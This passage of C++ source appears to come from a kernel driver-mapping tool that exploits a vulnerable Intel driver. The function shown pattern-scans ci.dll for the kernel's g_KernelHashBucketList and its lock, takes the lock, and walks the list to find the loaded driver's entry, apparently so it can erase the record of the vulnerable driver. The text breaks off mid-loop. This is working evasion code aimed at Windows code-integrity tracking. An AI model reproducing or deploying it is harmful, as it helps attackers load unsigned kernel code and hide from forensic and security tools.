| 1055 | } |
| 1056 | |
| 1057 | bool intel_driver::ClearKernelHashBucketList() { |
| 1058 | std::ostringstream ss; |
| 1059 | uint64_t ci = kdmUtils::GetKernelModuleAddress("ci.dll"); |
| 1060 | if (!ci) { |
| 1061 | Log::Error("Can't Find ci.dll module address", false); |
| 1062 | return false; |
| 1063 | } |
| 1064 | |
| 1065 | auto sig = FindPatternInSectionAtKernel("PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx"); |
| 1066 | if (!sig) { |
| 1067 | Log::Error("Can't Find g_KernelHashBucketList", false); |
| 1068 | return false; |
| 1069 | } |
| 1070 | auto sig2 = FindPatternAtKernel((uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx"); |
| 1071 | if (!sig2) { |
| 1072 | Log::Error("Can't Find g_HashCacheLock", false); |
| 1073 | return false; |
| 1074 | } |
| 1075 | const auto g_KernelHashBucketList = ResolveRelativeAddress((PVOID)sig, 3, 7); |
| 1076 | const auto g_HashCacheLock = ResolveRelativeAddress((PVOID)sig2, 3, 7); |
| 1077 | if (!g_KernelHashBucketList || !g_HashCacheLock) |
| 1078 | { |
| 1079 | Log::Error("Can't Find g_HashCache relative address", false); |
| 1080 | return false; |
| 1081 | } |
| 1082 | |
| 1083 | ss << "g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList; |
| 1084 | Log::Fine(ss.str()); |
| 1085 | ss.str(""); |
| 1086 | |
| 1087 | if (!ExAcquireResourceExclusiveLite(g_HashCacheLock, true)) { |
| 1088 | Log::Error("Can't lock g_HashCacheLock", false); |
| 1089 | return false; |
| 1090 | } |
| 1091 | Log::Fine("g_HashCacheLock Locked"); |
| 1092 | |
| 1093 | nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList; |
| 1094 | nt::HashBucketEntry* entry = 0; |
| 1095 | if (!ReadMemory((uintptr_t)prev, &entry, sizeof(entry))) { |
| 1096 | Log::Error("Failed to read first g_KernelHashBucketList entry!", false); |
| 1097 | if (!ExReleaseResourceLite(g_HashCacheLock)) |
| 1098 | Log::Error("Failed to release g_KernelHashBucketList lock!", false); |
| 1099 | return false; |
| 1100 | } |
| 1101 | if (!entry) { |
| 1102 | Log::Warning("g_KernelHashBucketList looks empty!"); |
| 1103 | if (!ExReleaseResourceLite(g_HashCacheLock)) |
| 1104 | Log::Error("Failed to release g_KernelHashBucketList lock!", false); |
| 1105 | return true; |
| 1106 | } |
| 1107 | |
| 1108 | std::wstring wdname = GetDriverNameW(); |
| 1109 | std::wstring search_path = GetDriverPath(); |
| 1110 | SIZE_T expected_len = (search_path.length() - 2) * 2; |
| 1111 | |
| 1112 | while (entry) { |
| 1113 | USHORT wsNameLen = 0; |
| 1114 | if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { |